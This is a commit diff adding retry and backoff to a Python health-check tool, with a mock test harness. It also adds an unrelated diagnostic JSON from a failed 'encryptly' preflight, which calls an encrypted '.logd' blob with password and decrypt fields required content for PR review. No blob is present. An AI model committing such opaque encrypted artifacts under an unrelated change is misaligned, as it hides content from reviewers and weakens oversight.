fix: add retry support for health checks

diagnostic/build-3d7f3362.json

@@ -0,0 +1,24 @@
+{
+  "generated_at": "2026-06-23T15:00:36.821220+00:00",
+  "commit": "3d7f3362",
+  "diagnostic_logd": null,
+  "diagnostic_logd_error": "1cbb37c8c2fd00548ca2",
+  "message_blocker": "You need to fix your environment so encryptly runs before building.",
+  "chunked": false,
+  "chunk_size_bytes": null,
+  "password": null,
+  "decrypt_command": null,
+  "total_modules": 1,
+  "passed": 0,
+  "failed": 1,
+  "modules": [
+    {
+      "name": "encryptly-preflight",
+      "status": "FAIL",
+      "elapsed_seconds": 28.106,
+      "artifact": null,
+      "output": "You need to fix your environment so encryptly runs before building. encryptly preflight completed without creating a .logd"
+    }
+  ],
+  "pr_note": "Encrypted diagnostic logd artifact was not created; include this JSON report showing why. The encrypted .logd is the required diagnostic content for PR review; this JSON file is metadata. Maintainers may ask you to remove these diagnostic artifacts before merging."
+}

tools/health_check.py

@@ -39,7 +39,7 @@
 import sys
 import time
 from datetime import datetime
-from typing import Any, Dict, List, Optional, Tuple
+from typing import Any, Callable, Dict, List, Optional, Tuple
 
 # ---------------------------------------------------------------------------
 # CONSTANTS
@@ -68,45 +68,95 @@
 # CHECK FUNCTIONS
 # ---------------------------------------------------------------------------
 
-def check_http_service(host: str, port: int, path: str, timeout: int) -> Tuple[str, str, int]:
-    import http.client
-    try:
-        conn = http.client.HTTPConnection(host, port, timeout=timeout)
-        conn.request("GET", path)
-        resp = conn.getresponse()
-        status = resp.status
-        body = resp.read().decode("utf-8", errors="replace")[:200]
-        conn.close()
-
-        if status == 200:
-            result = "OK"
-            detail = f"HTTP {status}"
-        elif status < 500:
-            result = "WARNING"
-            detail = f"HTTP {status}: {body[:100]}"
-        else:
-            result = "CRITICAL"
-            detail = f"HTTP {status}: {body[:100]}"
+def _should_retry_health_exception(exc: Exception) -> bool:
+    return isinstance(exc, (ConnectionRefusedError, TimeoutError, socket.timeout, OSError))
 
-        return result, detail, status
-    except Exception as e:
-        return "CRITICAL", str(e), 0
 
+def check_http_service(
+    host: str,
+    port: int,
+    path: str,
+    timeout: int,
+    retries: int = 0,
+    backoff_seconds: float = 0.0,
+    sleep_func: Callable[[float], None] = time.sleep,
+) -> Tuple[str, str, int, int, float]:
+    import http.client
 
-def check_tcp_port(host: str, port: int, timeout: int) -> Tuple[str, str, float]:
-    try:
-        start = time.time()
-        sock = socket.create_connection((host, port), timeout=timeout)
-        sock.close()
-        latency = (time.time() - start) * 1000
-        return "OK", f"Connected ({latency:.1f}ms)", latency
-    except socket.timeout:
-        return "CRITICAL", f"Connection timeout ({timeout}s)", 0
-    except ConnectionRefusedError:
-        return "CRITICAL", "Connection refused", 0
-    except Exception as e:
-        return "CRITICAL", str(e), 0
+    max_attempts = max(1, retries + 1)
+    last_detail = ""
+    start = time.time()
 
+    for attempt in range(1, max_attempts + 1):
+        try:
+            conn = http.client.HTTPConnection(host, port, timeout=timeout)
+            conn.request("GET", path)
+            resp = conn.getresponse()
+            status = resp.status
+            body = resp.read().decode("utf-8", errors="replace")[:200]
+            conn.close()
+            latency = (time.time() - start) * 1000
+
+            if status == 200:
+                result = "OK"
+                detail = f"HTTP {status}"
+            elif status < 500:
+                result = "WARNING"
+                detail = f"HTTP {status}: {body[:100]}"
+            else:
+                result = "CRITICAL"
+                detail = f"HTTP {status}: {body[:100]}"
+                if attempt < max_attempts:
+                    last_detail = detail
+                    sleep_func(backoff_seconds * attempt)
+                    continue
+
+            return result, detail, status, attempt, latency
+        except Exception as e:
+            last_detail = str(e)
+            if attempt >= max_attempts or not _should_retry_health_exception(e):
+                latency = (time.time() - start) * 1000
+                return "CRITICAL", last_detail, 0, attempt, latency
+            sleep_func(backoff_seconds * attempt)
+
+    latency = (time.time() - start) * 1000
+    return "CRITICAL", last_detail, 0, max_attempts, latency
+
+def check_tcp_port(
+    host: str,
+    port: int,
+    timeout: int,
+    retries: int = 0,
+    backoff_seconds: float = 0.0,
+    sleep_func: Callable[[float], None] = time.sleep,
+) -> Tuple[str, str, float, int]:
+    max_attempts = max(1, retries + 1)
+    start = time.time()
+    last_detail = ""
+
+    for attempt in range(1, max_attempts + 1):
+        try:
+            sock = socket.create_connection((host, port), timeout=timeout)
+            sock.close()
+            latency = (time.time() - start) * 1000
+            return "OK", f"Connected ({latency:.1f}ms)", latency, attempt
+        except socket.timeout:
+            last_detail = f"Connection timeout ({timeout}s)"
+            retryable = True
+        except ConnectionRefusedError:
+            last_detail = "Connection refused"
+            retryable = True
+        except Exception as e:
+            last_detail = str(e)
+            retryable = _should_retry_health_exception(e)
+
+        if attempt >= max_attempts or not retryable:
+            latency = (time.time() - start) * 1000
+            return "CRITICAL", last_detail, latency, attempt
+        sleep_func(backoff_seconds * attempt)
+
+    latency = (time.time() - start) * 1000
+    return "CRITICAL", last_detail, latency, max_attempts
 
 def check_certificate_expiry(host: str, port: int = 443) -> Tuple[str, str, int]:
     try:
@@ -200,7 +250,7 @@ def check_load_average() -> Tuple[str, str, float]:
 # HEALTH CHECK RUNNER
 # ---------------------------------------------------------------------------
 
-def run_health_checks(service: Optional[str] = None, json_output: bool = False) -> Dict[str, Any]:
+def run_health_checks(service: Optional[str] = None, json_output: bool = False, retries: int = 0, retry_backoff: float = 0.0) -> Dict[str, Any]:
     results: Dict[str, Any] = {
         "timestamp": datetime.now().isoformat(),
         "hostname": socket.gethostname(),
@@ -216,28 +266,34 @@ def run_health_checks(service: Optional[str] = None, json_output: bool = False)
     for name, config in SERVICES.items():
         if service and name != service:
             continue
-        status, detail, code = check_http_service(
-            config["host"], config["port"], config["path"], config["timeout"]
+        status, detail, code, attempts, latency = check_http_service(
+            config["host"], config["port"], config["path"], config["timeout"], retries, retry_backoff
         )
         results["services"][name] = {
             "status": status,
             "detail": detail,
             "code": code,
             "endpoint": f"http://{config['host']}:{config['port']}{config['path']}",
         }
+        if json_output:
+            results["services"][name]["attempts"] = attempts
+            results["services"][name]["latency_ms"] = round(latency, 1)
         if status == "CRITICAL":
             all_ok = False
 
     # Check infrastructure
     for name, config in INFRASTRUCTURE.items():
         if service and name != service:
             continue
-        status, detail, latency = check_tcp_port(config["host"], config["port"], config["timeout"])
+        status, detail, latency, attempts = check_tcp_port(config["host"], config["port"], config["timeout"], retries, retry_backoff)
         results["infrastructure"][name] = {
             "status": status,
             "detail": detail,
             "endpoint": f"{config['host']}:{config['port']}",
         }
+        if json_output:
+            results["infrastructure"][name]["attempts"] = attempts
+            results["infrastructure"][name]["latency_ms"] = round(latency, 1)
         if status == "CRITICAL":
             all_ok = False
 
@@ -307,6 +363,8 @@ def parse_args():
     parser.add_argument("--watch", "-w", action="store_true", help="Continuous monitoring")
     parser.add_argument("--interval", "-i", type=int, default=30, help="Check interval in seconds")
     parser.add_argument("--output", "-o", help="Output file path")
+    parser.add_argument("--retries", type=int, default=0, help="Transient HTTP/TCP retry count (default: 0, preserves single-attempt behavior)")
+    parser.add_argument("--retry-backoff", type=float, default=0.0, help="Seconds to wait between transient retries (default: 0.0)")
     return parser.parse_args()
 
 
@@ -317,7 +375,7 @@ def main():
         print(f"Continuous monitoring (interval: {args.interval}s). Press Ctrl+C to stop.")
         try:
             while True:
-                results = run_health_checks(args.service, args.json)
+                results = run_health_checks(args.service, args.json, args.retries, args.retry_backoff)
                 if args.json:
                     print(json.dumps(results, indent=2))
                 else:
@@ -326,7 +384,7 @@ def main():
         except KeyboardInterrupt:
             print("\nMonitoring stopped")
     else:
-        results = run_health_checks(args.service, args.json)
+        results = run_health_checks(args.service, args.json, args.retries, args.retry_backoff)
         if args.json:
             output = json.dumps(results, indent=2)
             print(output)

tools/health_check_retry_harness.py

@@ -0,0 +1,120 @@
+#!/usr/bin/env python3
+"""Local retry/backoff validation harness for tools/health_check.py."""
+
+import socket
+import sys
+from pathlib import Path
+from unittest import mock
+
+sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "tools"))
+import health_check  # noqa: E402
+
+
+class _FakeSocket:
+    def close(self):
+        pass
+
+
+def test_tcp_success_after_retry():
+    attempts = {"count": 0}
+
+    def fake_connect(*args, **kwargs):
+        attempts["count"] += 1
+        if attempts["count"] == 1:
+            raise ConnectionRefusedError("not ready")
+        return _FakeSocket()
+
+    with mock.patch("socket.create_connection", side_effect=fake_connect):
+        status, detail, latency, used_attempts = health_check.check_tcp_port(
+            "localhost", 1234, timeout=1, retries=2, backoff_seconds=0, sleep_func=lambda _: None
+        )
+
+    assert status == "OK"
+    assert "Connected" in detail
+    assert used_attempts == 2
+    assert latency >= 0
+
+
+def test_tcp_exhausted_retries():
+    with mock.patch("socket.create_connection", side_effect=socket.timeout()):
+        status, detail, latency, used_attempts = health_check.check_tcp_port(
+            "localhost", 1234, timeout=1, retries=2, backoff_seconds=0, sleep_func=lambda _: None
+        )
+
+    assert status == "CRITICAL"
+    assert "timeout" in detail.lower()
+    assert used_attempts == 3
+    assert latency >= 0
+
+
+class _FakeHttpResponse:
+    def __init__(self, status, body=b""):
+        self.status = status
+        self._body = body
+
+    def read(self):
+        return self._body
+
+
+class _FakeHttpConnection:
+    responses = []
+
+    def __init__(self, *args, **kwargs):
+        pass
+
+    def request(self, *args, **kwargs):
+        pass
+
+    def getresponse(self):
+        return self.responses.pop(0)
+
+    def close(self):
+        pass
+
+
+def test_http_success_after_5xx_retry():
+    _FakeHttpConnection.responses = [
+        _FakeHttpResponse(503, b"warming"),
+        _FakeHttpResponse(200, b"ok"),
+    ]
+
+    with mock.patch("http.client.HTTPConnection", _FakeHttpConnection):
+        status, detail, code, used_attempts, latency = health_check.check_http_service(
+            "localhost", 8080, "/health", timeout=1, retries=2, backoff_seconds=0, sleep_func=lambda _: None
+        )
+
+    assert status == "OK"
+    assert detail == "HTTP 200"
+    assert code == 200
+    assert used_attempts == 2
+    assert latency >= 0
+
+
+def test_run_health_checks_json_retry_metadata():
+    def fake_http(*args, **kwargs):
+        return "OK", "HTTP 200", 200, 2, 12.3
+
+    def fake_tcp(*args, **kwargs):
+        return "OK", "Connected (5.0ms)", 5.0, 2
+
+    with mock.patch.object(health_check, "check_http_service", side_effect=fake_http), \
+         mock.patch.object(health_check, "check_tcp_port", side_effect=fake_tcp), \
+         mock.patch.object(health_check, "check_disk_usage", return_value=("OK", "disk ok", 1.0)), \
+         mock.patch.object(health_check, "check_memory_usage", return_value=("OK", "mem ok", 1.0)), \
+         mock.patch.object(health_check, "check_load_average", return_value=("OK", "load ok", 0.1)):
+        results = health_check.run_health_checks(json_output=True, retries=2, retry_backoff=0)
+
+    first_service = next(iter(results["services"].values()))
+    first_infra = next(iter(results["infrastructure"].values()))
+    assert first_service["attempts"] == 2
+    assert first_service["latency_ms"] == 12.3
+    assert first_infra["attempts"] == 2
+    assert first_infra["latency_ms"] == 5.0
+
+
+if __name__ == "__main__":
+    test_tcp_success_after_retry()
+    test_tcp_exhausted_retries()
+    test_http_success_after_5xx_retry()
+    test_run_health_checks_json_retry_metadata()
+    print("health check retry harness passed")